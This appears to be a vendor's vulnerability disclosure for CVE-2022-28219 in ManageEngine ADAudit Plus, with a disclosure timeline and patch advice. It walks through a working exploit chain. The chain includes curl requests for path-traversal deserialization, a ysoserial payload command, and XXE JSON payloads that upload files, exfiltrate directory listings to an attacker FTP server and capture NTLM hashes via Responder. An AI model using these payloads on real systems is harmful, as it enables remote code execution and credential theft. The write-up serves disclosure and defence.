CVE-2022-28219 is an unauthenticated remote code execution vulnerability affecting Zoho ManageEngine ADAudit Plus, a compliance tool used by enterprises to monitor changes to Active Directory. The vulnerability comprises several issues: untrusted Java deserialization, path traversal, and a blind XML External Entities (XXE) injection. This is a vulnerability that NodeZero, our autonomous pentesting product, has exploited to not only execute code remotely, but in some cases compromise domain administrator accounts. If you’re running ADAudit Plus in your enterprise, we strongly recommend upgrading to build 7060 or later to fix this vulnerability.


We regularly encounter ManageEngine products in internal pentests. The products related to Active Directory management (ADManager Plus, ADSelfService Plus, ADAudit Plus, etc) are especially prevalent. These applications are also attractive to attackers because of the privileged access they have to Active Directory. We decided to take a closer look at ADAudit Plus to see what we could find.

Potential RCE Vector: Return of Cewolf

Typically, in a white box source code review, we begin by understanding what backend API endpoints are accessible to an unauthenticated attacker. For Java web applications, the web.xml file is the place to start.

One of the first things that stood out, and we were surprised to see, was the presence of a /cewolf endpoint handled by the CewolfRenderer servlet in the third-party Cewolf charting library. This is the same vulnerable endpoint from CVE-2020-10189, reported by @steventseeley against ManageEngine Desktop Central. The FileStorage  class in this library was abused for remote code execution via untrusted Java deserialization.

Inspecting the library further, we found that, in addition to deserializing untrusted code, the library doesn’t sanitize input file paths. Using the img parameter, we could deserialize a Java payload anywhere on disk.
Assuming there was already a file on disk containing a Java payload, we could trigger deserialization and command execution with a request like this:
curl --path-as-is -v 'http://<adap_ip>:<port>/cewolf/a.png?img=/../../../../../../../../../some-dir/my-payload'

Note the servlet request path needs to end in an image file extension like .png to bypass a security filter.

Finding an XXE

We had a powerful remote code execution primitive in hand and needed to find a way to upload a Java payload anywhere on disk. We found several ways for unauthenticated users to upload files but initially had difficulty uploading an arbitrary file containing a Java payload because of security filters and file type checks.

One of the features of ADAudit Plus is the ability to collect security events from agents running on other machines in the domain. To our surprise, we found that a few of the endpoints that agents use to upload events to ADAudit Plus were unauthenticated. This gave us a large attack surface to work with because there’s a lot of business logic that was written to process these events. While looking for a file upload vector, we found a path to trigger a blind XXE vulnerability in the ProcessTrackingListener class, which handles events containing Windows scheduled task XML content. This class was using the dangerous default version of Java’s DocumentBuilderFactory class, which permits external entity resolution and is vulnerable to XXE injection.

We found a request of the following form could trigger the XXE:
curl -H 'Content-Type: application/json' -X POST http://<adap_ip>:<port>/api/agent/tabs/agentData -d @payload.json
Where payload.json looks like:
        "DomainName": "<DOMAIN_NAME>",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<XXE_PAYLOAD>"

The only pre-requisite that an attacker needs to know ahead of time is the name of the fully qualified Windows domain that the ADAudit Plus application is monitoring. This is trivial for attackers to discover.

Blind XXE vulnerabilities in Java can be hard to exploit, but in this case we were aided by the old Java runtime bundled with ADAudit Plus. By default ADAudit Plus ships with Java 8u051.

With the old Java runtime, we found the blind XXE can be used to do all of the following:

  • exfiltrate files over FTP
  • get directory listings over FTP
  • upload files!!

In the wild we’ve found that about 3/4 of the vulnerable ADAudit Plus installs are using the old runtime. We found Java runtime versions 8u131 and later have protections in place to prevent the above actions.



In a test environment, we set up ADAudit Plus on host, running under domain user a-jsmith. Our attacker IP was Upon install, ADAudit Plus automatically detected that it was part of the SMOKE.NET domain.
Step 1: Generate a Java payload using the CommonBeanutils1 gadget. For instance, using ysoserial to run calc.exe:
$JAVA_HOME/bin/java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc.exe > xxe-upload-test.jar
Step 2: Use the XXE vulnerability to upload this payload. There is a really nice Java-specific XXE technique disclosed by Timothy Morgan in 2013 to upload a file using the jar file protocol and a “blocking” server that doesn’t close the connection after the upload. This file is uploaded to a temp folder with a randomly generated name.
Starting the Java blocking upload server (we used the GitHub project here):
java BlockingServer 9090 xxe-upload-test.jar
Then send the request to trigger the XXE and file upload:
curl -H 'Content-Type: application/json' -X POST -d @payload_jar.json
Where payload_jar.json contains:
        "DomainName": "",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!foo [ <!ENTITY %xxe SYSTEM \"jar:!/myfile.txt\"> %xxe; ]>"
The BlockingServer serves the file and keeps the connection open so the temp file is not deleted.
Step 3: Use the XXE vulnerability to locate the file path of the uploaded payload. We used the XXE FTP server from the GitHub project here to exfiltrate directory listings to find the payload:
python2 3000 2122
Port 3000 hosts an external DTD, and port 2122 is the FTP Server port.
Then send the following request:
curl -H 'Content-Type: application/json' -X POST -d @payload_list.json
Where payload_list.json contains:
        "DomainName": "",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "Task Content": <?xml version=\"1.0\" encoding=\"UTF-8\"? >\n<!DOCTYPE data [\n <!ENTITY % start \"<![CDATA[\"> <!ENTITY % file SYSTEM \"file:///c:/users/a-jsmith/appdata/local/temp/\"> <!ENTITY %end \"]]>\"> \n <!ENTITY %dtd SYSTEM \"\"> %dtd;\n]>\n<data>&send;</data>\n"
The XXE FTP server serves the DTD over HTTP and receives the contents of the temp directory over FTP. In this example, it can be seen that the file was uploaded to the path c:/users/a-jsmith/appdata/local/temp/jar_cache7858836562026605742.tmp.
Step 4: Use the /cewolf endpoint to deserialize the contents of the uploaded file and trigger the execution of the command:
curl --path-as-is -v ''

We automated these steps in a self-contained PoC script on GitHub here.

XXE to SSRF to NTLM Relay

As a side note, regardless of the Java runtime version, XXE vulnerabilities in Java and on Windows can also be used to capture and relay the NTLM hashes of the user account under which the application is running. This is because the Java HTTP client will attempt to authenticate over NTLM if it connects to a server requiring NTLM to authenticate.

This is especially useful for an attacker if the ADAudit Plus application is running under a privileged account. As an example, we run the well-known responder tool on the attacker machine:

python3 /usr/share/responder/ -I ens160
Then we send a request to trigger the XXE and have the ADAudit Plus server connect back to the attacking IP.
curl -H 'Content-Type: application/json' -X POST -d @payload_ntlm.json
Where payload_ntlm.json contains:
        "DomainName": "",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM \"\"> %xxe; ]>"
Responder captures the NTLMv2 hash of the a-jsmith user under whom the ADAudit Plus application is running.
These hashes can cracked by attackers to recover the plaintext password, or they can be relayed to targets directly and used to execute code on those targets, using well-known tools such as ntlmrelayx from the impacket toolkit.


Applications that integrate with Active Directory have to store credentials to connect to it. In the case of ADAudit Plus, these credentials are stored encrypted in its database. It’s possible to reverse the encryption to access these credentials in the clear.

In the wild, we’ve found that these credentials are often highly privileged. ADAudit Plus makes it easy for users to get started with domain admin credentials, and we’ve seen users take this easy path rather than setting up a dedicated service account with restricted privileges. When this happens, NodeZero will fully compromise the domain through ADAudit Plus, generating an attack graph that looks like this.

Disclosure Timeline

  • March 28, 2022: Vulnerability disclosed to Zoho via bug bounty program
  • March 28, 2022: Vulnerability confirmed by Zoho
  • March 30, 2022: New build ADAudit Plus 7060 released by Zoho
  • April 5, 2022: CVE-2022-28219 published
  • April 5, 2022: Detection and exploitation integrated into Horizon3 NodeZero pentest operations
  • June 29, 2022: This detailed disclosure
The patch in ADAudit Plus 7060 fixes the vulnerability by:
  • Removing the /cewolf endpoint altogether
  • Using a secure version of DocumentBuilderFactoryin the ProcessingTrackingListener class
  • Requiring authentication in the form of an agent GUID between agents and ADAudit Plus
Thanks to Zoho for prompt handling of this vulnerability. We highly recommend users update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus is configured with a dedicated service account with restricted privileges.